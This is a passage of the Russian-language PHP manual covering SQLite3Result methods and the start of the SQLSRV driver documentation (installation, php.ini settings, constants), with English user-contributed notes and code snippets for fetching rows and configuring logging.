  • SQLite3Result::fetchArray — Выбирает одну строку из результирующего набора и помещает её в ассоциативный или нумерованный массив, или в оба сразу
  • SQLite3Result::finalize — Закрывает результирующий набор
  • SQLite3Result::numColumns — Возвращает количество столбцов в результирующем наборе
  • SQLite3Result::reset — Сбрасывает указатель результирующего набора на первую строку

User Contributed Notes

atesin () 6m4i1 ! com 02-Mar-2021 02:56
in response to jan at bootfinder dot co dot uk (comment #115891) about getting num_rows...

how about (not tested)... ?

<?php // do cleans before and after if needed

for ( $nrows = 0; isarray($result->fetchArray()); ++$nrows );
return $nrows;

?>
jan at bootfinder dot co dot uk 10-Oct-2014 03:43
I use the following code to get num_rows:

<?php
...
$nrows = 0;
$result->reset();
while ($result->fetchArray())
    $nrows++;
$result->reset();
return $nrows;
...
?>
sameers dot public at gmail dot com 23-May-2014 05:30
According to http://www.php.net/manual/en/sqlite3result.columntype.php, and also per my experience, columnType() doesn't return anything other than SQLITE3_NULL. Consequently, the test suggested in the comment that tries to identify whether a column is NULL is incorrect.

The right thing to do appears to be to test if ($result->fetchArray())[0] == null.
alan71-at-free-fr 28-Dec-2010 06:34
Here's a snippet that might help you to write a fetchObject function that is also missing:

<?php

function fetchObject($sqlite3result, $objectType = NULL) {
    $array = $sqlite3result->fetchArray();

    if(is_null($objectType)) {
        $object = new stdClass();
    } else {
        // does not call this class' constructor
        $object = unserialize(sprintf('O:%d:"%s":0:{}', strlen($objectType), $objectType));
    }

    $reflector = new ReflectionObject($object);
    for($i = 0; $i < $sqlite3result->numColumns(); $i++) {
        $name = $sqlite3result->columnName($i);
        $value = $array[$name];

        try {
            $attribute = $reflector->getProperty($name);

            $attribute->setAccessible(TRUE);
            $attribute->setValue($object, $value);
        } catch (ReflectionException $e) {
            $object->$name = $value;
        }
    }

    return $object;
}

?>

Heavily inspired of Bergmann's Object Freezer :
https://github.com/sebastianbergmann/php-object-freezer/blob/master/Object/Freezer.php
claudiu at virtuamagic dot com 08-Mar-2010 02:34
fetchArray() will return bool(false) in case of 0 rows.
jonscully at gmail dot com 30-Nov-2009 01:35
Since SQLite3Result::numRows is unavailable, use:

<?php
if ($res->numColumns() && $res->columnType(0) != SQLITE3_NULL) {
    // have rows
} else {
    // zero rows
}
?>

Because when there are zero rows:
* SQLite3Result::fetchArray will return '1'
* SQLite3Result::numColumns will return '1'
* Column type for column '0' will be SQLITE3_NULL


>Возвращает имя n-ого столбца

  • « SQLite3Result
  • SQLite3Result::columnType »
  • PHP Manual
  • SQLite3Result
  • >Возвращает имя n-ого столбца

SQLite3Result::columnName

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SQLite3Result::columnName — >Возвращает имя n-ого столбца

Описание

public SQLite3Result::columnName(int $column): string|false

Возвращает имя столбца, указанного в column_number. Обратите внимание, что имя столбца результата — это значение предложения AS для этого столбца, если есть предложение AS. Если предложение AS отсутствует, тогда имя столбца не указано и может измениться с одного выпуска libsqlite3 на другой.

Список параметров

column

Номер столбца, начиная с нуля.

Возвращаемые значения

Возвращает имя (string) столбца, указанного в column.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает тип n-ного столбца

  • « SQLite3Result::columnName
  • SQLite3Result::__construct »
  • PHP Manual
  • SQLite3Result
  • Возвращает тип n-ного столбца

SQLite3Result::columnType

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SQLite3Result::columnType — Возвращает тип n-ного столбца

Описание

public SQLite3Result::columnType(int $column): int|false

Возвращает тип столбца, указанного в column.

Список параметров

column

Номер столбца, начиная с нуля.

Возвращаемые значения

Возвращает тип столбца, указанного в column. Возвращает значение SQLITE3_INTEGER, SQLITE3_FLOAT, SQLITE3_TEXT, SQLITE3_BLOB, SQLITE3_NULL) или false, если столбец не существует.

User Contributed Notes

hairbysubaru at gmail dot com 17-Jul-2016 02:17
jean-marc is correct. SQLite determines column types dynamically based upon the returned record-set.
jean-marc at paratte dot ch 15-Oct-2014 12:49
To find the type of columns, you need to 'query' the SQL sentence, 'fetchArray' the 1rst row, and then extract the name and type of each column.

Example:

function _sqlite_fetch_all( $db, $sql ) {

    $sqlite = new SQLite3( $db);

    if( $sqlite->lastErrorCode() ) return;

    $result = $sqlite->query( $sql );

    $result->fetchArray( SQLITE3_NUM );
    $fieldnames = [];
    $fieldtypes = [];
    for( $colnum=0; $colnum<$result->numColumns(); $colnum++) {
        $fieldnames[] = $result->columnName($colnum);
        $fieldtypes[] = $result->columnType($colnum);
    }
    $result->reset();

    while( $row = $result->fetchArray( SQLITE3_NUM ) ) {

        for ($colnum=0; $colnum<count($row); $colnum++) {
            $col = &$row[$colnum];
            if (isset($fieldtype_encode_binary[$fieldtypes[$colnum]])) $col = $fieldtype_encode_binary[$fieldtypes[$colnum]]( $col );
        }
        unset($col);
        if ($resulttype == SQLITE3_ASSOC) $row = array_combine( $fieldnames, $row );
        $rows[] = $row;
    }

    $result->finalize();

    $sqlite->close();

    return $rows;
}

Remark 1: The type of a column is SQLITE3_NULL before any 'fetchArray' and 'false' after last fetched row.

Remark2 : The actual values of SQLITE3_INTEGER, SQLITE3_FLOAT, SQLITE3_TEXT, SQLITE3_BLOB, SQLITE3_NULL are 1, 2, 3, 4, 5.
phpnotes at carwash dot org 22-Nov-2011 10:44
This function never returns any value other than 5, indicating SQLITE3_NULL.  SQLite 3 doesn't have column types, it has column affinities.  Different rows of the same table (and rows resulting from a SELECT) can hold values of different types.  Therefore this API cannot return anything useful, and the method appears to be using SQLITE3_NULL as a placeholder.

The function in useless and should be removed or marked as deprecated in future releases, so as not to give any programmer the false idea that the values returned are useful.


Конструктор класса SQLite3Result

  • « SQLite3Result::columnType
  • SQLite3Result::fetchArray »
  • PHP Manual
  • SQLite3Result
  • Конструктор класса SQLite3Result

SQLite3Result::__construct

(Информация о версии неизвестна, возможно, только в Git)

SQLite3Result::__construct — Конструктор класса SQLite3Result

Описание

private SQLite3Result::__construct()

Экземпляры SQLite3Result создаются с помощью SQLite3::query() и SQLite3Stmt::execute().

Список параметров

У этой функции нет параметров.

User Contributed Notes

There are no user contributed notes for this page.


Выбирает одну строку из результирующего набора и помещает её в ассоциативный или нумерованный массив, или в оба сразу

  • « SQLite3Result::__construct
  • SQLite3Result::finalize »
  • PHP Manual
  • SQLite3Result
  • Выбирает одну строку из результирующего набора и помещает её в ассоциативный или нумерованный массив, или в оба сразу

SQLite3Result::fetchArray

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SQLite3Result::fetchArray — Выбирает одну строку из результирующего набора и помещает её в ассоциативный или нумерованный массив, или в оба сразу

Описание

public SQLite3Result::fetchArray(int $mode = SQLITE3_BOTH): array|false

Выбирает одну строку из результирующего набора и помещает её в ассоциативный или нумерованный массив, или в оба сразу. По умолчанию создаёт массивы обоих видов.

Список параметров

mode

Этот необязательный параметр принимает значение константы, которая указывает на тип массива, в который требуется поместить данные. Возможные значения параметра: SQLITE3_ASSOC, SQLITE3_NUM или SQLITE3_BOTH.

  • SQLITE3_ASSOC: возвращает ассоциативный массив, в котором индекс соответствует имени столбца в результирующем наборе.

  • SQLITE3_NUM: возвращает индексированный массив, в котором индекс соответствует номеру столбца в результирующем наборе, начиная с 0.

  • SQLITE3_BOTH: возвращает индексированный массив, в котором индекс соответствует имени и номеру столбца в результирующем наборе, начиная с 0.

Возвращаемые значения

Возвращает стоку из результирующего набора в виде ассоциированного или нумерованного массива, или обоих. Если строк больше нет, возвращает false.

Типы значений возвращаемого массива преобразуются из типов SQLite3 по следующим правилам: целые числа преобразуются в int если помещаются в диапазон PHP_INT_MIN..PHP_INT_MAX, иначе в строки. Рациональные числа преобразуются в float, NULL в null, строки и BLOB в строки.

User Contributed Notes

paule-panke at example dot com 12-Feb-2017 02:22
Check with SQLite3Result::numColumns() for an empty result before calling SQLite3Result::fetchArray().

In contrast to the documentation SQLite3::query() always returns a SQLite3Result instance, not only for queries returning rows (SELECT, EXPLAIN). Each time SQLite3Result::fetchArray() is called on a result from a result-less query internally the query is executed again, which will most probably break your application.
For a framwork or API it's not possible to know in before whether or not a query will return rows (SQLite3 supports multi-statement queries). Therefore the argument "Don't execute query('CREATE ...')" is not valid.
ghaith at cubicf dot net 03-Jan-2017 09:59
// Open a new sqlite3 DB

$db = new SQLite3('./DB_EHLH.db');

// select all information from table "algorithm"

$results= $db->query("select * from algorithm");

//Create array to keep all results
$data= array();

// Fetch Associated Array (1 for SQLITE3_ASSOC)
while ($res= $results->fetchArray(1))
{
//insert row into array
array_push($data, $res);

}

//you can return a JSON array
echo json_encode($data);

//the output is a s follows
[
{"id":1,"algorithm":"GA"},
{"id":2,"algorithm":"PSO"},
{"id":3,"algorithm":"IWO"},
{"id":4,"algorithm":"OIWO"}
]
Jason 03-Oct-2014 10:21
Would just like to point out for clarification that each call to fetchArray() returns the next result from SQLite3Result in an array, until there are no more results, whereupon the next fetchArray() call will return false.

HOWEVER an additional call of fetchArray() at this point will reset back to the beginning of the result set and once again return the first result. This does not seem to explicitly documented, and caused me my own fair share of headaches for a while until I figured it out.

For example:

<?php
        $returned_set = $database->query("select query or whatever");

        //Lets say the query returned 3 results
        //Normally the following while loop would run 3 times then, as $result wouldn't be false until the fourth call to fetchArray()
        while($result = $returned_set->fetchArray()) {
                //HOWEVER HAVING AN ADDITIONAL CALL IN THE LOOP WILL CAUSE THE LOOP TO RUN AGAIN
                $returned_set->fetchArray();
        }
?>

Basically, in the above code fetchArray will return:
1st call | 1st result from $returned_set (fetchArray() call from while condition)
2nd call | 2nd result  (fetchArray() call from while block)
3rd call | 3rd result  (fetchArray() call from while condition)
4th call |FALSE  (fetchArray() call from while block)
5th call | 1st result  (fetchArray() call from while condition)
....

This will cause (at least in this case) the while loop to run infinitely.
alan at synergymx dot com 14-Sep-2010 04:56
To loop through a record set:

<?php
        $db = new SQLite3('auth.sqlite');

        $sql = "SELECT user_id, username, opt_status FROM tbl_user";

        $result = $db->query($sql);//->fetchArray(SQLITE3_ASSOC);

        $row = array();

        $i = 0;

         while($res = $result->fetchArray(SQLITE3_ASSOC)){

             if(!isset($res['user_id'])) continue;

              $row[$i]['user_id'] = $res['user_id'];
              $row[$i]['username'] = $res['username'];
              $row[$i]['opt_status'] = $res['opt_status'];

              $i++;

          }

          print_r($row);
?>


Закрывает результирующий набор

  • « SQLite3Result::fetchArray
  • SQLite3Result::numColumns »
  • PHP Manual
  • SQLite3Result
  • Закрывает результирующий набор

SQLite3Result::finalize

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SQLite3Result::finalize — Закрывает результирующий набор

Описание

public SQLite3Result::finalize(): bool

Закрывает результирующий набор.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает количество столбцов в результирующем наборе

  • « SQLite3Result::finalize
  • SQLite3Result::reset »
  • PHP Manual
  • SQLite3Result
  • Возвращает количество столбцов в результирующем наборе

SQLite3Result::numColumns

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SQLite3Result::numColumns — Возвращает количество столбцов в результирующем наборе

Описание

public SQLite3Result::numColumns(): int

Возвращает количество столбцов в результирующем наборе.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает количество столбцов в результирующем наборе.

User Contributed Notes

There are no user contributed notes for this page.


Сбрасывает указатель результирующего набора на первую строку

  • « SQLite3Result::numColumns
  • SQLSRV »
  • PHP Manual
  • SQLite3Result
  • Сбрасывает указатель результирующего набора на первую строку

SQLite3Result::reset

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SQLite3Result::reset — Сбрасывает указатель результирующего набора на первую строку

Описание

public SQLite3Result::reset(): bool

Сбрасывает указатель результирующего набора на первую строку.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true, если результирующий набор успешно сброшен на первую строку, или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Драйвер СУБД Microsoft SQL Server для PHP

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Функции SQLSRV
    • sqlsrv_begin_transaction — Начинает транзакцию базы данных
    • sqlsrv_cancel — Отменяет оператор
    • sqlsrv_client_info — Возвращает информацию о клиенте и указанном подключении
    • sqlsrv_close — Закрывает открытое соединение и освобождает ресурсы, связанные с этим соединением
    • sqlsrv_commit — Фиксирует транзакцию, начатую с помощью sqlsrv_begin_transaction
    • sqlsrv_configure — Изменяет конфигурацию обработки ошибок драйвера и ведения журнала
    • sqlsrv_connect — Открывает соединение с базой данных Microsoft SQL Server
    • sqlsrv_errors — Возвращает информацию об ошибке и предупреждении последней выполненной операции SQLSRV
    • sqlsrv_execute — Выполняет запрос, подготовленный с помощью sqlsrv_prepare
    • sqlsrv_fetch_array — Возвращает строку как массив
    • sqlsrv_fetch_object — Получает следующую строку данных в наборе результатов как объект
    • sqlsrv_fetch — Делает следующую строку в наборе результатов доступной для чтения
    • sqlsrv_field_metadata — Получает метаданные для полей оператора, подготовленного с помощью sqlsrv_prepare или sqlsrv_query
    • sqlsrv_free_stmt — Освобождает все ресурсы для указанного оператора
    • sqlsrv_get_config — Возвращает значение указанного параметра конфигурации
    • sqlsrv_get_field — Получает данные поля из текущей выбранной строки
    • sqlsrv_has_rows — Указывает, есть ли у указанного оператора строки
    • sqlsrv_next_result — Делает активным следующий результат указанного оператора
    • sqlsrv_num_fields — Извлекает количество полей (столбцов) оператора
    • sqlsrv_num_rows — Получает количество строк в наборе результатов
    • sqlsrv_prepare — Подготавливает запрос к исполнению
    • sqlsrv_query — Подготавливает и выполняет запрос
    • sqlsrv_rollback — Откатывает транзакцию, начатую sqlsrv_begin_transaction
    • sqlsrv_rows_affected — Возвращает количество строк, изменённых последним выполненным запросом INSERT, UPDATE или DELETE
    • sqlsrv_send_stream_data — Отправляет данные из потоков параметров на сервер
    • sqlsrv_server_info — Возвращает информацию о сервере

User Contributed Notes

denis dot khvorostin at gmail dot com 23-Sep-2023 04:33
There is no way to check the state of the Sql Server Connection in PHP currently. The only way is to perform cheap query (e.g. SELECT GETDATE();) on the open connection, catch any SqlException that is thrown, check and re-establish the connection if needed


Введение

Модуль SQLSRV позволяет подключиться к базам данных Microsoft SQL Server или SQL Azure. Релиз драйвера версии 3.0 поддерживает SQL Server начиная с версии SQL Server 2005, включая Server 2012 и SQL Server 2012 LocalDB. Подробное описание LocalDB можно прочитать по тут: » Драйвер PHP Driver для SQL Server, поддержка LocalDB и » SQL Server 2012 Express LocalDB.

Модуль SQLSRV поддерживается компанией Microsoft и доступен по ссылке - » http://msdn.microsoft.com/en-us/sqlserver/ff657782.aspx. SQL Server 2012 LocalDB можно загрузить отсюда - » http://go.microsoft.com/fwlink/?LinkID=237665.

User Contributed Notes

wr 28-Sep-2017 04:33
According to Microsoft, this extension works on Linux:
https://github.com/Microsoft/msphpsql
(the introduction above does not mention this, rather it says "when running PHP on Windows")
kylewiering at yahoo dot com 01-Feb-2016 02:20
Microsoft has now committed a PHP 7 pre-release beta of the SQLSRV driver on github:
https://github.com/Azure/msphpsql/tree/PHP-7.0

It looks like the PDO driver is their next target. Anyone interested in using mssql and php7 might want to follow/star that repository.
mike at eastghost dot com 31-Jan-2016 06:33
As of Aug 2015, see:

http://www.synet.sk/php/en/230-php-drivers-for-microsoft-sql-server-mssql-sqlsrv-utf8


Требования

Модуль SQLSRV может использоваться в следующих операционных системах:

  • Windows Vista Service Pack 2 или позже
  • Windows Server 2008 Service Pack 2 или позже
  • Windows Server 2008 R2
  • Windows 7

Модуль SQLSRV требует, чтобы на компьютере, на котором установлен PHP, была установлена библиотека Microsoft SQL Server 2008 R2 Native Client. Если Microsoft SQL Server 2008 R2 ещё не установлен, вы можете скачать требуемый дистрибутив по ссылкам ниже:

  • » Скачать версию x86
  • » Скачать версию x64

Загружаемая копия модуля PDO_SQLSRV включает в себя восемь файлов драйверов, четыре из них для поддержки PDO.

Наиболее часто используемая версия драйвера доступна здесь: » Загрузка SQLSRV.

За подробностями о системных требованиях обратитесь к разделу » Системные требования SQLSRV.

User Contributed Notes

Fluxy__ 15-Jun-2015 09:19
If you get the error "sqlstate [imssp]: this extension requires the microsoft odbc driver 11"

Msodbcsql.msi should be installed, otherwise it does not.

Take the x64 version and x86 architectures 64 for 32 architectures.

https://msdn.microsoft.com/en-us/library/jj730315%28v=sql.110%29.aspx


Установка

Модуль SQLSRV включается добавлением соответствующего файла DLL в директорию модулей вашей установленной копии PHP и соответствующей записи в файл php.ini. Загружаемая копия модуля PDO_SQLSRV включает в себя восемь файлов драйверов, четыре из них для поддержки PDO.

Наиболее часто используемая версия драйвера доступны здесь: » Загрузка SQLSRV.

За подробностями о системных требованиях обратитесь к разделу » Системные требования SQLSRV.

Начиная с версии 4.0, модуль SQLSRV работает только с PHP 7.0 под Linux и Windows.

User Contributed Notes

jenna1337 21-Sep-2021 12:32
Here's the link to the PHP 8.0 version: https://docs.microsoft.com/en-us/sql/connect/php/download-drivers-php-sql-server?view=sql-server-ver15#previous-releases
grant at seljax dot com 24-May-2018 09:47
Running PHP 7.2 on IIS 10, I had to use the IIS Web Platform Components wizard to install the Microsoft PHP drivers version 5.2 x64 to get this command to work.  Manually installing 4.0 drivers did not work.
denny 11-Jan-2017 06:57
PECL packages for Linux SQLSRV and PDO_SQLSRV drivers (4.0.7) are available now.
https://github.com/Microsoft/msphpsql/releases
simon 20-Feb-2014 03:48
SQLSRV doesn't use mssql_connect - it is it's own extension, therefore to connect you'd use sqlsrv_connect:

http://www.php.net/manual/en/function.sqlsrv-connect.php


Настройка во время выполнения

Поведение этих функций зависит от установок в php.ini.

Следующая таблица отображает список настроек, доступных в модуле SQLSRV. Для получения дополнительной информации о данных настройках, обратитесь к соответствующему разделу документации - » обработка ошибок и предупреждений в SQLSRV.

SQLSRV Опции настройки
Имя | По умолчанию | Место изменения | Изменения
sqlsrv.WarningsReturnAsErrors | 1 (true) | PHP_INI_ALL | Доступно с версии SQLSRV 1.0
sqlsrv.LogSubsystems | 0 | PHP_INI_ALL | Доступно с версии SQLSRV 1.0
sqlsrv.LogSeverity | 1 | PHP_INI_ALL | Доступно с версии SQLSRV 1.0

User Contributed Notes

baklanoid at gmail dot com 01-Sep-2020 05:49
Hey-ho wayfarer! Here is some assembly i did, you may find it useful in your php.ini file :)

[sqlsrv]
; By default, the SQLSRV driver treats warnings as errors;
; a call to a sqlsrv function that generates
; an error or a warning returns false.
sqlsrv.WarningsReturnAsErrors = 1

; By default, errors and warnings that are generated by
; the Microsoft Drivers for PHP for SQL Server are not logged
; LogSubsystems can be one of the following values:
; -1 - Turns on logging of all subsystems.
;  0 - Turns logging off (This is the default).
;  1 - Turns on logging of initialization activity.
;  2 - Turns on logging of connection activity.
;  4 - Turns on logging of statement activity.
;  8 - Turns on logging of error functions activity (such as handle_error and handle_warning).
; These values may be combined with logical OR,
; for example, 6 - connection + statement
sqlsrv.LogSubsystems = -1

; LogSeverity can be one of the following values
; (LOGGING ACTIVITY USING THE PDO_SQLSRV DRIVER):
; -1 - Specifies that errors, warnings, and notices are logged.
;  0 - Logging is disabled (This is the default).
;  1 - Specifies that errors are logged.
;  2 - Specifies that warnings are logged.
;  4 - Specifies that notices are logged.
; Logging information is added to the error_log (php_errors.log) file.
; These values may be combined with logical OR,
; for example, 3 - errors + warnings
sqlsrv.LogSeverity = 1
robert dot urbanski2 at gmail dot com 02-Nov-2016 12:43
Do not omitt these parameters

client_buffer_max_kb_size = '50240'
sqlsrv.ClientBufferMaxKBSize = 50240


Типы ресурсов

Дескриптор соединения

Дескриптор соединения возвращается функцией sqlsrv_connect().

Дескриптор выражения

Дескриптор выражения (statement resource) возвращается функциями sqlsrv_query() или sqlsrv_prepare().

User Contributed Notes

There are no user contributed notes for this page.


Предопределённые константы

Перечисленные ниже константы определены данным модулем и доступны либо в сборках PHP с поддержкой этого модуля, либо когда модуль динамически загружен во время выполнения.

SQLSRV_FETCH_ASSOC (int)
Переданный в качестве параметра, заставляет функцию sqlsrv_fetch_array() возвращать ассоциативный массив.
SQLSRV_FETCH_NUMERIC (int)
Переданный в качестве параметра, заставляет функцию sqlsrv_fetch_array() возвращать массив с числовыми ключами.
SQLSRV_FETCH_BOTH (int)
Переданный в качестве параметра, заставляет функцию sqlsrv_fetch_array() возвращать массив с ключами и числовыми и ассоциативными (поведение по умолчанию).
SQLSRV_ERR_ALL (int)
Переданный в качестве параметра, заставляет функцию sqlsrv_errors() возвращать и ошибки и предупреждения (поведение по умолчанию).
SQLSRV_ERR_ERRORS (int)
Переданный в качестве параметра, заставляет функцию sqlsrv_errors() возвращать только ошибки (без предупреждений).
SQLSRV_ERR_WARNINGS (int)
Переданный в качестве параметра, заставляет функцию sqlsrv_errors() возвращать только предупреждения (без ошибок).
SQLSRV_LOG_SYSTEM_ALL (int)
Переданный в качестве параметра функции sqlsrv_configure(), включает журналирование всех подсистем.
SQLSRV_LOG_SYSTEM_CONN (int)
Переданный в качестве параметра функции sqlsrv_configure(), включает журналирование активности соединения.
SQLSRV_LOG_SYSTEM_INIT (int)
Переданный в качестве параметра функции sqlsrv_configure(), включает журналирование активности инициализации.
SQLSRV_LOG_SYSTEM_OFF (int)
Переданный в качестве параметра функции sqlsrv_configure(), отключает журналирование всех подсистем.
SQLSRV_LOG_SYSTEM_STMT (int)
Переданный в качестве параметра функции sqlsrv_configure(), включает журналирование активности выполнения выражений (statement activity).
SQLSRV_LOG_SYSTEM_UTIL (int)
Переданный в качестве параметра функции sqlsrv_configure(), включает журналирование активности функций ошибок.
SQLSRV_LOG_SEVERITY_ALL (int)
Переданный в качестве параметра функции sqlsrv_configure(), определяет, что ошибки, предупреждения и замечания будут журналироваться.
SQLSRV_LOG_SEVERITY_ERROR (int)
Переданный в качестве параметра функции sqlsrv_configure(), определяет, что ошибки будут журналироваться.
SQLSRV_LOG_SEVERITY_NOTICE (int)
Переданный в качестве параметра функции sqlsrv_configure(), определяет, что замечания будут журналироваться.
SQLSRV_LOG_SEVERITY_WARNING (int)
Переданный в качестве параметра функции sqlsrv_configure(), определяет, что предупреждения будут журналироваться.
SQLSRV_NULLABLE_YES (int)
Показывает, что значение столбца может быть NULL.
SQLSRV_NULLABLE_NO (int)
Показывает, что значение столбца не может быть NULL.
SQLSRV_NULLABLE_UNKNOWN (int)
Показывает, что неизвестно, может ли значение столбца быть NULL.
SQLSRV_PARAM_IN (int)
При передаче в качестве параметра в функции sqlsrv_query() или sqlsrv_prepare() показывает, что параметр является входным.
SQLSRV_PARAM_INOUT (int)
При передаче в качестве параметра в функции sqlsrv_query() или sqlsrv_prepare() показывает, что параметр является и входным и выходным.
SQLSRV_PARAM_OUT (int)
При передаче в качестве параметра в функции sqlsrv_query() или sqlsrv_prepare() показывает, что параметр является выходным.
SQLSRV_PHPTYPE_INT (int)
Определяет целочисленный тип данных PHP (integer). За информацией об использовании обратитесь к разделу документации » Определение типов PHP.
SQLSRV_PHPTYPE_DATETIME (int)
Определяет временной тип данных PHP (datetime). За информацией об использовании обратитесь к разделу документации » Определение типов PHP.
SQLSRV_PHPTYPE_FLOAT (int)
Определяет тип данных PHP с плавающей точкой (float). За информацией об использовании обратитесь к разделу документации » Определение типов PHP.
SQLSRV_PHPTYPE_STREAM (int)
Определяет поток данных PHP (stream). Данная константа работает как функция и принимает константы кодировок. Смотрите константы вида SQLSRV_ENC_*. За информацией об использовании обратитесь к разделу документации » Определение типов PHP.
SQLSRV_PHPTYPE_STRING (int)
Определяет строковый тип данных PHP (string). Данная константа работает как функция и принимает константы кодировок. Смотрите константы вида SQLSRV_ENC_*. За информацией об использовании обратитесь к разделу документации » Определение типов PHP.
SQLSRV_ENC_BINARY (int)
Определяет, что данные от сервера возвращаются в виде потока байтов без выполнения кодирования или преобразования. За информацией об использовании обратитесь к разделу » Определение типов PHP.
SQLSRV_ENC_CHAR (int)
Данные возвращаются в формате восьмибитных символов как определено кодовой странице локали Windows, установленной в системе. Любые мультибайтовые символы или символы, не преобразуемые в данную кодовую страницу, заменяются однобайтовым символом вопроса (?). Данная кодировка является кодировкой по умолчанию. За информацией об использовании обратитесь к разделу документации » Определение типов PHP.
UTF-8 (int)
Определяет, что данные возвращаются в кодировке UTF-8. За информацией об использовании обратитесь к разделу документации » Определение типов PHP.
SQLSRV_SQLTYPE_BIGINT (int)
Описывает SQL-тип BIGINT. За информацией об использовании обратитесь к разделу » Определение типов SQL.
SQLSRV_SQLTYPE_BINARY (int)
Описывает SQL-тип BINARY. За информацией об использовании обратитесь к разделу » Определение типов SQL.
SQLSRV_SQLTYPE_BIT (int)
Описывает SQL-тип BIT. За информацией об использовании обратитесь к разделу » Определение типов SQL.
SQLSRV_SQLTYPE_CHAR (int)
Описывает SQL-тип CHAR. Эта константа работает как функция и принимает один параметр, задающий количество символов. За информацией об использовании обратитесь к разделу » Определение типов SQL.
SQLSRV_SQLTYPE_DATE (int)
Описывает SQL-тип DATE. За информацией об использовании обратитесь к разделу » Определение типов SQL.
SQLSRV_SQLTYPE_DATETIME (int)
Описывает SQL-тип DATETIME. За информацией об использовании обратитесь к разделу » Определение типов SQL.
SQLSRV_SQLTYPE_DATETIME2 (int)
Описывает SQL-тип DATETIME2. За информацией об использовании обратитесь к разделу » Определение типов SQL.
SQLSRV_SQLTYPE_DATETIMEOFFSET (int)
Описывает SQL-тип DATETIMEOFFSET. За информацией об использовании обратитесь к разделу » Определение типов SQL.
SQLSRV_SQLTYPE_DECIMAL (int)
Описывает SQL-тип DECIMAL. Эта константа работает как функция и принимает два параметра, задающий точность и разрядность. За информацией об использовании обратитесь к разделу » Определение типов SQL.
SQLSRV_SQLTYPE_FLOAT (int)
Описывает SQL-тип FLOAT. За информацией об использовании обратитесь к разделу » Определение типов SQL.
SQLSRV_SQLTYPE_IMAGE (int)
Описывает SQL-тип IMAGE. За информацией об использовании обратитесь к разделу » Определение типов SQL.
SQLSRV_SQLTYPE_INT (int)
Описывает SQL-тип INT. За информацией об использовании обратитесь к разделу » Определение типов SQL.
SQLSRV_SQLTYPE_MONEY (int)
Описывает SQL-тип MONEY. За информацией об использовании обратитесь к разделу » Определение типов SQL.
SQLSRV_SQLTYPE_NCHAR (int)
Описывает SQL-тип NCHAR. Эта константа работает как функция и принимает один параметр, задающий количество символов. За информацией об использовании обратитесь к разделу документации » Определение типов SQL.
SQLSRV_SQLTYPE_NUMERIC (int)
Описывает SQL-тип NUMERIC. Эта константа работает как функция и принимает два параметра, задающий точность и разрядность. За информацией об использовании обратитесь к разделу » Определение типов SQL.
SQLSRV_SQLTYPE_NVARCHAR (int)
Описывает SQL-тип NVARCHAR. Эта константа работает как функция и принимает один параметр, задающий количество символов. За информацией об использовании обратитесь к разделу » Определение типов SQL.
SQLSRV_SQLTYPE_NVARCHAR('max') (int)
Описывает SQL-тип NVARCHAR(MAX). За информацией об использовании обратитесь к разделу » Определение типов SQL.
SQLSRV_SQLTYPE_NTEXT (int)
Описывает SQL-тип NTEXT. За информацией об использовании обратитесь к разделу » Определение типов SQL.
SQLSRV_SQLTYPE_REAL (int)
Описывает SQL-тип REAL. За информацией об использовании обратитесь к разделу » Определение типов SQL.
SQLSRV_SQLTYPE_SMALLDATETIME (int)
Описывает SQL-тип SMALLDATETIME. За информацией об использовании обратитесь к разделу » Определение типов SQL.
SQLSRV_SQLTYPE_SMALLINT (int)
Описывает SQL-тип SMALLINT. За информацией об использовании обратитесь к разделу » Определение типов SQL.
SQLSRV_SQLTYPE_SMALLMONEY (int)
Описывает SQL-тип SMALLMONEY. За информацией об использовании обратитесь к разделу » Определение типов SQL.
SQLSRV_SQLTYPE_TEXT (int)
Описывает SQL-тип TEXT. За информацией об использовании обратитесь к разделу » Определение типов SQL.
SQLSRV_SQLTYPE_TIME (int)
Описывает SQL-тип TIME. За информацией об использовании обратитесь к разделу » Определение типов SQL.
SQLSRV_SQLTYPE_TIMESTAMP (int)
Описывает SQL-тип TIMESTAMP. За информацией об использовании обратитесь к разделу » Определение типов SQL.
SQLSRV_SQLTYPE_TINYINT (int)
Описывает SQL-тип TINYINT. За информацией об использовании обратитесь к разделу » Определение типов SQL.
SQLSRV_SQLTYPE_UNIQUEIDENTIFIER (int)
Описывает SQL-тип UNIQUEIDENTIFIER. За информацией об использовании обратитесь к разделу » Определение типов SQL.
SQLSRV_SQLTYPE_UDT (int)
Описывает SQL-тип UDT. За информацией об использовании обратитесь к разделу » Определение типов SQL.
SQLSRV_SQLTYPE_VARBINARY (int)
Описывает SQL-тип VARBINARY. Эта константа работает как функция и принимает один параметр, задающий количество байт. За информацией об использовании обратитесь к разделу » Определение типов SQL.
SQLSRV_SQLTYPE_VARBINARY('max') (int)
Описывает SQL-тип VARBINARY(MAX). За информацией об использовании обратитесь к разделу » Определение типов SQL.
SQLSRV_SQLTYPE_VARCHAR (int)
Описывает SQL-тип VARCHAR. Эта константа работает как функция и принимает один параметр, задающий количество символов. За информацией об использовании обратитесь к разделу » Определение типов SQL.
SQLSRV_SQLTYPE_VARCHAR('max') (int)
Описывает SQL-тип VARCHAR(MAX). За информацией об использовании обратитесь к разделу » Определение типов SQL.
SQLSRV_SQLTYPE_XML (int)
Описывает SQL-тип XML. За информацией об использовании обратитесь к разделу » Определение типов SQL.
SQLSRV_TXN_READ_UNCOMMITTED (int)
Задаёт уровень изоляции транзакции равным READ UNCOMMITTED. Это значение используется для установки уровня TransactionIsolation в массиве $connectionOptions, переданном аргументом в функцию sqlsrv_connect().
SQLSRV_TXN_READ_COMMITTED (int)
Задаёт уровень изоляции транзакции равным READ COMMITTED. Это значение используется для установки уровня TransactionIsolation в массиве $connectionOptions, переданном аргументом в функцию sqlsrv_connect().
SQLSRV_TXN_REPEATABLE_READ (int)
